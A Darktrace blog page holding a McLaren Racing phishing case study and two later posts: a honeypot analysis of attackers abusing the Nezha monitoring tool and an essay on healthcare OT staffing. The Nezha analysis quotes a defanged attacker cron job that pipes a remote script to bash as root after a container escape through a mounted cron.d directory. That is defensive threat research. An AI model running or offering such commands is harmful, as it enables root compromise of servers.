Blog
/
AI
/
November 15, 2021

Darktrace Defends McLaren Racing From Supply Chain Attacks

McLaren Racing chose Darktrace's self-learning AI to fight off supply chain attacks. Learn how Darktrace safeguards their organization with elite cybersecurity.
No items found.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
No items found.
Default blog image
15
Nov 2021

McLaren Racing has a track record of forming valuable and innovative partnerships. Without these partnerships and the web of organisations that make up our supply chain, it’s unlikely we could be where we are today.

Figure 1: The origins of the different components of McLaren’s 2021 car

Each component of the McLaren Formula 1 car – engine, tyres, brakes, suspension – has a long and complicated backstory, from the R&D labs where it was conceived, to the factory floor on which it was manufactured, to transport and logistics getting it to where it needs to be.

Looking at the entire organisation, the situation is even more complex. IT hardware and software, telemetry, and data analysis tools, each represent a critical component to McLaren Racing’s ecosystem. Without it, we couldn’t function at the top of our game.

But from a security perspective, each of these represent a potential chink in the team’s defensive armour, against a backdrop of a cyber-threat landscape which becomes more hostile every year. As we’ve seen this year from the likes of the SolarWinds hack and the Kaseya software exploit, attackers are waking up to the fact that the supply chain represents a significant opportunity.

A single supplier may represent a point of entry into thousands of organisations. For cyber-criminals, this means one successful compromise can result in more access, more data, and ultimately greater profit.

McLaren Racing is all too aware of recent shifts in the cyber security landscape. A successful cyber-attack on our organisation could have implications on race-day performance, as well as our wider reputation. Last year, we brought in a new line of defence with Darktrace’s Self-Learning AI technology, that learns our business from the ground up, and interrupts subtle and fast-moving cyber-threats wherever they emerge – including from our supply chain.

Threat find: Attacking through the inbox

In this attack, 12 employees were targeted in a systematic phishing attack, receiving an email from a long-established team supplier, notifying them that a voicemail had been left for them.

Figure 2: An extract of the phishing email coaxing the recipient to click

The link to play the voicemail led to a legitimate-looking voicemail service site.

When following the link to access the message, the site requested Office 365 credentials to authenticate the user, designed to harvest the McLaren Racing credentials that could be used to access our environment.

Figure 3: The fake login page

Of the 12 recipients, several key people within our team were targeted, including technical directors and purchase ledgers. The attackers behind this phishing campaign no doubt hand-picked these individuals both due to their authorization powers and the likelihood their accounts had access to sensitive data.

Had these accounts been compromised, the attackers would have had access to some of the highest sensitivity of intellectual property, finance information and executive level strategy within racing.

Darktrace’s email security technology, Antigena Email, assessed the content of these emails as they were delivered, and identified several unusual indicators of attack. While it recognised that the account was one familiar to McLaren, it compared this attack with previous emails sent from the supplier and recognised several risk indicators. Darktrace Antigena autonomously took the decision to hold the email from being delivered to users’ mailboxes.

Figure 4: Antigena Email reveals in plain language why the email was suspicious and the action it took

Legitimate communication between our team and the supplier was still flowing uninterrupted, as Darktrace Antigena was assessing each email’s indicators for risk. The following day, the supplier’s account manager in our team received an email from the supplier in question, informing them that one of their accounts had been compromised and was used to send phishing emails to some of their customers. This confirmed that Antigena Email had correctly identified the email as malicious.

Traditional email security tools rely on historical attack data to determine friend from foe, but this is only effective in cases where an email domain or a malicious URL has been previously encountered. In this case, traditional filtering allowed the email through. Only by having Darktrace’s understanding of ‘self’ and Autonomous Response was McLaren able to avoid exposure to risk on this occasion.

This is reflective of a wider pattern noticed by the security team. Darktrace determines that around 40% of emails going through Antigena Email would have been detected by our other security tools, suggesting that Darktrace is detecting an extra 60% of malicious emails and taking action to ensure we are protected 24/7.

This was just one example of an attempted attack on McLaren through the inbox. On another occasion, Antigena Email identified an email that was attempting to impersonate a sponsor. The email in question was requesting that a senior McLaren Racing figure reset their password and contained a suspicious link that led to a credential harvester. Again, Antigena took action on the emails at time of delivery, and our internal cyber team never had to respond to what could have been a serious incident. It’s through Darktrace taking autonomous action like this on a daily basis that we are able to focus our time on higher-value, strategic work, driving success for the wider team.

Why the supply chain demands a new approach to security

In today’s digitised world, it is impossible to operate as a fluid, dynamic organisation without interacting with suppliers and partners at every digital layer: from email, to file sharing services and technology partners delivered through the cloud. As McLaren grows and works with leading global organisations to improve its performance, its supply chain ecosystem will only get broader.

Attackers are targeting suppliers because they represent a single key that opens potentially dozens or even hundreds of locks, and email is just one avenue of attack. By partnering with Darktrace, McLaren experiences the value of self-learning protection on a daily basis, across its email systems, cloud services, and corporate network.

Whether it’s email or some other form of communication from a supplier, you cannot assume you know who’s on the other side of the keyboard. This is what so many existing security defences do – with static rules and signatures unable to truly tell friend from foe and reveal account takeovers and compromised systems. Modern organisations need a solution that is able to identify potentially malicious activity from suppliers by analysing a broad range of indicators and revealing subtle deviations that indicate threat, and this is where Self-Learning AI shines.

No items found.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
No items found.

More in this series

No items found.

Blog

/

Network

/

June 10, 2026

How Attackers Abuse the Chinese Nezha Monitoring Tool

nezha monitoring toolDefault blog imageDefault blog image

What is Nezha?

Nezha is an open-source tool that allows system administrators to centrally monitor multiple servers, including their resource usage such as CPU and network usage, and uptime. The tool also enables remote administrative access via an interactive shell.

The project has just under 10,000 stars on GitHub and has seen widespread adoption in the Chinese IT community, with many forum posts providing guides on installation and usage.

However, Nezha’s status as a legitimate executable that has remote access capabilities creates an opportunity for misuse. Instead of deploying a regular command-and-control (C2) implant, attackers can deploy Nezha directly on compromised hosts. As these deployments are functionally indistinguishable from legitimate installations, they can blend into expected operational tooling and evade detection.

Darktrace’s analysis of a Nezha infection

Darktrace operates several high-interaction honeypots to observe attacker techniques and behaviors. Darktrace analysts observed an intrusion against the Docker-based honeypot, initiated with a malicious container create command.

 The malicious container create command.
Figure 1: The malicious container create command.

Docker allows any host file or directory to be passed through to a container, granting read and write access. In this case, the attacker made use of this to pass through the cron.d directory, which is used to schedule recurring tasks, such as maintenance or backup commands.

These commands and timings are stored in the cron.d directory, which the attacker can now write to because it is passed through to their malicious container. By writing a job to this directory from within the container, the cron service running on the host detects the new job and executes it on the host, effectively allowing the attacker to escape the container.

The attacker the created a malicious cron job named ngk:
* * * * * root curl hxxps://file.gpu5[.]com/linux_install.sh | bash

This resulted in the host downloading and running the linux_install.sh file with root privileges.

The linux_install script installs several dependencies, sets up environmental variables, and retrieves a second-stage script (nezha_install.sh) from the same domain.

The linux_install script.
Figure 2: The linux_install script.

The nezha_install.sh script based on the official Nezha installer but has been modified to hard code configuration values, such as the server address, and to remove interactive prompts, allowing it to be installed without user input.

Open by design

One of Nezha’s most interesting design choices is that its main monitoring panel does not require authentication to view a list of monitored hosts. This exposes a list of compromised systems via the attacker-controlled panel, enabling direct observation of the operation’s scale, victimology and infrastructure.

The attacker’s Nezha dashboard.
Figure 3: The attacker’s Nezha dashboard.

At the time of analysis, the campaign had infected 141 servers, with 45 still online and accessible.  The number of online servers was previously higher, suggesting that some victims may have discovered and removed the infection.

The exposed dashboard provides insights into victim characteristics, including geographic distribution, hardware specification, and resource usage. Most infected hosts were low-spec systems, commonly one or two core Xeon CPUs and less than 4GB of RAM, indicating they were likely small virtual private servers (VPS) with limited value to the attacker.

Many systems also exhibited 100% CPU usage, which may indicate concurrent compromise, such as cryptocurrency mining activity by other threat actors.

Open-source intelligence platforms such as Shodan and Censys can also identify publicly exposed instances of Nezha. Although authentication is required to execute commands on a monitored server, visibility into dashboards still provides valuable intelligence for attackers and defenders alike.

At the time of writing, Darktrace identified 33 internet-facing Nezha installations as openly accessible.

Key takeaways

The abuse of legitimate software has become a consistent feature of modern intrusion activity, enabling attackers to operate without deploying traditional malware and reducing the risk of detection.

This creates a form of “trust inversion”, where tools typically associated with routine operations may instead indicate malicious activity when deployed outside expected contexts. Organizations should therefore prioritize asset visibility and software governance, ensuring that unexpected tool deployments can be identified and investigated, rather than focusing solely on malware-centric detection.

This challenge is especially pronounced in cloud environments, where legitimate monitoring tools may represent either essential software or an attacker backdoor. The scale and dynamic nature of cloud environments further complicate distinguishing between benign and malicious use.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

Continue reading
About the author
Nathaniel Bill
Malware Research Engineer

Blog

/

OT

/

June 9, 2026

Healthcare’s OT Cybersecurity Gap: Why Hospitals Must Make the Same Security Investments as Regulated Critical Infrastructures

healthcare OTDefault blog imageDefault blog image

Rethinking the healthcare attack surface

When most people think about Operational Technology (OT) cybersecurity, they think about oil & gas pipelines, utilities, manufacturing plants, or power grids. However, hospitals & healthcare systems have quickly become a point of focus in the OT cybersecurity community as they do employ a variety of OT in the form of IoMT (Internet of Medical Things) networked devices such as: infusion pumps, imaging systems, patient monitoring equipment, laboratory systems, and traditional industrial control systems (ICS) in the form of smart building management systems (BMS) and even on site power generation control systems. 

These healthcare environments are no longer just traditional IT ecosystems, they are cyber-physical environments where disruption can directly impact patient care, operational continuity, and ultimately patient safety.

The OT cybersecurity expertise gap in healthcare organizations

Our research in the OT cybersecurity space revealed a concerning trend. Many hospitals and healthcare networks lack dedicated OT cybersecurity teams, OT security full time employees (FTE) and even OT expertise in the form of OT security certifications when compared to other critical infrastructure sectors.

On the other hand, within industries such as energy and manufacturing, we encounter more mature OT security programs that employ full time employees  dedicated to OT cybersecurity with OT security certifications and expertise to secure industrial and operational environments and lead investment in OT security processes and technology.

When reviewing the top 20 U.S. Hospitals by market cap, given what is publicly available on LinkedIn, only one FTE with an OT cybersecurity certification was found. The certifications that were searched for include: GIAC GICSP, GIAC GRID, GIAC GCIP and all ISA/IEC 62443 certifications. When replicating this same search across the top 20 utility providers in the US, 73 FTEs with OT related certifications were identified. As a control group, we looked within financial services, an industry NOT expected to have OT systems worth investing in FTEs to protect. However, the top 20 US financial institutions had 18 FTEs with OT related certifications. 

What these findings reveal

Overall, the findings regarding healthcare investment in OT security FTEs are surprising given how operationally dependent modern healthcare has become on OT. So why aren't hospitals investing in OT security personnel at the rate of peer critical infrastructures? It could just be lack of awareness; however, there are other, more plausible reasons.  

Based on historical trends in cyber incidents within the healthcare space, one could speculate that there is significantly greater likelihood of being victim to an attack that  focuses on extortion or data theft rather than an attack on specific OT systems. The amount of ransomware events incurred in healthcare, that historically do not target OT systems, may divert attention and security investment to the parts of the attack surface most likely to be targeted by ransomware. Additionally, data theft is a relevant threat objective for hospitals given PHI, PCI and PII, and data theft does not traditionally align with attacks targeting OT.  

However, with focused investment to address data theft and with adversaries new capability to string together chains of vulnerabilities of different severity scores using advancements in AI, we could be entering a threat landscape where adversaries pivot their tactics to target exposed and under protected devices and systems like OT. For example, although not a patient records database, predominant IOMT protocols HL7 and DICOM are unencrypted plaintext protocols and unless encrypted it is very simple for adversaries, who are sniffing traffic, to identify protected health information (PHI) in these communication protocols.

Why OT cybersecurity expertise can be effective for healthcare organizations

The convergence of IT, OT, and IoMT is already here, and threat actors are increasingly aware of the operational vulnerabilities that come with it. Additionally, as AI solutions such as agentic or generative applications are adopted and deployed, the attack surface will continue to change as permissions, and new connections will exist to support AI efficiency. From a cybersecurity standpoint, the reality is that many healthcare organizations are still working to establish consistent visibility and governance across their enterprise-connected devices and systems as their attack surface is changing in real time.  As the healthcare sector remains a significant target for cyber-attacks, hospitals would be well advised to begin addressing their operational environments OT as a critical component of their attack surface and invest in securing them first with people, then process and technology. 

What can healthcare organizations do to secure their OT

Including OT in current cybersecurity processes such as red teaming and testing incident response plans that take OT into account alongside building dedicated OT security capabilities including improving OT network visibility, leveraging OT network anomaly detection, micro-segmentation, and secure remote access will become essential steps in strengthening healthcare resilience. 

However, before any of the above processes or investments in technology can be made, these healthcare organizations, like the other critical infrastructure sectors, need to invest in the people with the experience in OT security to lead, implement, manage and audit the investment in OT cybersecurity technology and processes.  In cases where headcount cannot be added, investment in OT security certifications, such as the ones listed in this article, and participation on OT security events focused on practitioner training for existing cybersecurity employees can move the needle in terms of bringing OT expertise to the existing team.  

In an industry where uptime and safety are as mission critical as they are for a power utility, OT cybersecurity FTEs can no longer be viewed as optional for healthcare organizations and must become part of the foundation of modern healthcare cybersecurity strategy. 

[related-resource]

Continue reading
About the author
Daniel Simonds
Director of Operational Technology
Your data. Our AI.
Elevate your network security with Darktrace AI